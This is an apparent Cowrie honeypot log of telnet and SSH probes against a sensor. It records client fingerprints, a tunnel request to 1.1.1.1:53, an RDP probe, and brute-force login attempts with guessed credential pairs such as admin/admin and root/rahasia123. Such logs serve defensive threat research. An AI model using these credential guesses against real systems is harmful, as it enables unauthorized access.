{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":34168,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6a733801b66","protocol":"telnet","message":"New connection: 142.93.2.99:34168 (159.203.135.109:23) [session: a6a733801b66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:07:10.170907Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":35172,"dst_ip":"159.203.135.109","dst_port":23,"session":"24cd6d35a4cf","protocol":"telnet","message":"New connection: 142.93.2.99:35172 (159.203.135.109:23) [session: 24cd6d35a4cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:07:11.133839Z"}
{"eventid":"cowrie.session.closed","duration":34.32303428649902,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:07:12.233935Z","src_ip":"142.93.2.99","session":"7f248958e699","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.25585746765137,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:07:19.997438Z","src_ip":"142.93.2.99","session":"96937b0afae5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.184462785720825,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:07:23.577954Z","src_ip":"142.93.2.99","session":"5897b97a9801","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":47708,"dst_ip":"159.203.135.109","dst_port":23,"session":"f884a146b59b","protocol":"telnet","message":"New connection: 142.93.2.99:47708 (159.203.135.109:23) [session: f884a146b59b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:07:25.185653Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":48766,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5d446bcba81","protocol":"telnet","message":"New connection: 142.93.2.99:48766 (159.203.135.109:23) [session: d5d446bcba81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:07:25.264668Z"}
{"eventid":"cowrie.session.closed","duration":34.35902214050293,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:07:26.660667Z","src_ip":"142.93.2.99","session":"2a81ca73d76e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.903305530548096,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:07:27.348814Z","src_ip":"142.93.2.99","session":"19c28083ccbd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":13260,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f3e0d41e537","protocol":"ssh","message":"New connection: 87.251.64.176:13260 (10.17.0.5:22) [session: 1f3e0d41e537]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:07:31.584400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:07:31.589341Z","src_ip":"87.251.64.176","session":"1f3e0d41e537","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:07:31.686003Z","src_ip":"87.251.64.176","session":"1f3e0d41e537","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:07:31.976059Z","src_ip":"87.251.64.176","session":"1f3e0d41e537","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:07:32.075032Z","session":"1f3e0d41e537","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:07:32.172179Z","src_ip":"87.251.64.176","session":"1f3e0d41e537","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:07:32.271503Z","src_ip":"87.251.64.176","session":"1f3e0d41e537","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.859567165374756,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:07:37.140246Z","src_ip":"142.93.2.99","session":"f5cfbcfb46a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.94575500488281,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:07:39.707419Z","src_ip":"142.93.2.99","session":"b8ce5247e3c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.46872687339783,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:07:39.886286Z","src_ip":"142.93.2.99","session":"1c8a1ae14602","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.18817734718323,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:07:41.780881Z","src_ip":"142.93.2.99","session":"5f3b5f17205d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.21301865577698,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:07:42.383798Z","src_ip":"142.93.2.99","session":"a6a733801b66","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.22367215156555,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:07:44.357430Z","src_ip":"142.93.2.99","session":"24cd6d35a4cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"189.194.140.170","src_port":53852,"dst_ip":"159.203.135.109","dst_port":22,"session":"622c2ad0019e","protocol":"ssh","message":"New connection: 189.194.140.170:53852 (159.203.135.109:22) [session: 622c2ad0019e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:07:45.938280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:07:45.943036Z","src_ip":"189.194.140.170","session":"622c2ad0019e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:07:46.040251Z","src_ip":"189.194.140.170","session":"622c2ad0019e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"y123456","message":"login attempt [root/y123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:07:46.415619Z","src_ip":"189.194.140.170","session":"622c2ad0019e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:07:47.519635Z","src_ip":"189.194.140.170","session":"622c2ad0019e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":42060,"dst_ip":"159.203.135.109","dst_port":23,"session":"0bb7b574c9e5","protocol":"telnet","message":"New connection: 142.93.2.99:42060 (159.203.135.109:23) [session: 0bb7b574c9e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:07:47.634278Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":43906,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd14afc477ea","protocol":"telnet","message":"New connection: 142.93.2.99:43906 (159.203.135.109:23) [session: cd14afc477ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:07:50.573472Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":48808,"dst_ip":"159.203.135.109","dst_port":23,"session":"3532559d40f1","protocol":"telnet","message":"New connection: 142.93.2.99:48808 (159.203.135.109:23) [session: 3532559d40f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:07:55.152620Z"}
{"eventid":"cowrie.session.closed","duration":31.43399167060852,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:07:56.619505Z","src_ip":"142.93.2.99","session":"f884a146b59b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":47676,"dst_ip":"159.203.135.109","dst_port":23,"session":"640af41177a6","protocol":"telnet","message":"New connection: 142.93.2.99:47676 (159.203.135.109:23) [session: 640af41177a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:07:56.873416Z"}
{"eventid":"cowrie.session.closed","duration":33.251774311065674,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:07:58.516326Z","src_ip":"142.93.2.99","session":"d5d446bcba81","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.252.223","src_port":55365,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b31f8c65169","protocol":"ssh","message":"New connection: 103.149.252.223:55365 (159.203.135.109:22) [session: 9b31f8c65169]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:08:02.143795Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:08:02.148614Z","src_ip":"103.149.252.223","session":"9b31f8c65169","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:08:02.152318Z","src_ip":"103.149.252.223","session":"9b31f8c65169","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":52952,"dst_ip":"159.203.135.109","dst_port":23,"session":"12f805bfb6e0","protocol":"telnet","message":"New connection: 142.93.2.99:52952 (159.203.135.109:23) [session: 12f805bfb6e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:08:03.049486Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":45446,"dst_ip":"10.17.0.5","dst_port":23,"session":"e21a7f774f2d","protocol":"telnet","message":"New connection: 104.245.105.2:45446 (10.17.0.5:23) [session: e21a7f774f2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:08:03.272927Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":54010,"dst_ip":"159.203.135.109","dst_port":22,"session":"361e3514f708","protocol":"ssh","message":"New connection: 2.57.122.238:54010 (159.203.135.109:22) [session: 361e3514f708]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:08:03.844262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:08:03.850923Z","src_ip":"2.57.122.238","session":"361e3514f708","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:08:03.954742Z","src_ip":"2.57.122.238","session":"361e3514f708","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:08:04.264407Z","src_ip":"2.57.122.238","session":"361e3514f708","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:08:05.371089Z","src_ip":"2.57.122.238","session":"361e3514f708","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":60362,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c1c7cf604fc","protocol":"telnet","message":"New connection: 142.93.2.99:60362 (159.203.135.109:23) [session: 0c1c7cf604fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:08:09.277169Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":35006,"dst_ip":"159.203.135.109","dst_port":23,"session":"c46fca910ad0","protocol":"telnet","message":"New connection: 142.93.2.99:35006 (159.203.135.109:23) [session: c46fca910ad0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:08:12.810161Z"}
{"eventid":"cowrie.session.closed","duration":33.617238998413086,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:08:21.251390Z","src_ip":"142.93.2.99","session":"0bb7b574c9e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.21025276184082,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:08:22.783642Z","src_ip":"142.93.2.99","session":"cd14afc477ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.475255250930786,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:08:27.627754Z","src_ip":"142.93.2.99","session":"3532559d40f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.28682541847229,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:08:29.160103Z","src_ip":"142.93.2.99","session":"640af41177a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":48998,"dst_ip":"159.203.135.109","dst_port":23,"session":"47ae07cf1cdb","protocol":"telnet","message":"New connection: 142.93.2.99:48998 (159.203.135.109:23) [session: 47ae07cf1cdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:08:30.633721Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":48894,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a43cde57c11","protocol":"telnet","message":"New connection: 142.93.2.99:48894 (159.203.135.109:23) [session: 6a43cde57c11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:08:31.483347Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":51410,"dst_ip":"159.203.135.109","dst_port":23,"session":"2802ca6cbccf","protocol":"telnet","message":"New connection: 142.93.2.99:51410 (159.203.135.109:23) [session: 2802ca6cbccf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:08:34.036729Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":50764,"dst_ip":"159.203.135.109","dst_port":23,"session":"eda324fba4e4","protocol":"telnet","message":"New connection: 142.93.2.99:50764 (159.203.135.109:23) [session: eda324fba4e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:08:34.077418Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":51632,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4d074f9ee1e","protocol":"telnet","message":"New connection: 142.93.2.99:51632 (159.203.135.109:23) [session: f4d074f9ee1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:08:35.353591Z"}
{"eventid":"cowrie.session.closed","duration":32.36880397796631,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:08:35.418174Z","src_ip":"142.93.2.99","session":"12f805bfb6e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"189.194.140.170","src_port":42538,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c76e5c98f94","protocol":"ssh","message":"New connection: 189.194.140.170:42538 (159.203.135.109:22) [session: 6c76e5c98f94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:08:40.289349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:08:40.293213Z","src_ip":"189.194.140.170","session":"6c76e5c98f94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:08:40.389424Z","src_ip":"189.194.140.170","session":"6c76e5c98f94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rahasia123","message":"login attempt [root/rahasia123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:08:40.802980Z","src_ip":"189.194.140.170","session":"6c76e5c98f94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.53775715827942,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:08:41.814850Z","src_ip":"142.93.2.99","session":"0c1c7cf604fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:08:41.905349Z","src_ip":"189.194.140.170","session":"6c76e5c98f94","protocol":"ssh"}
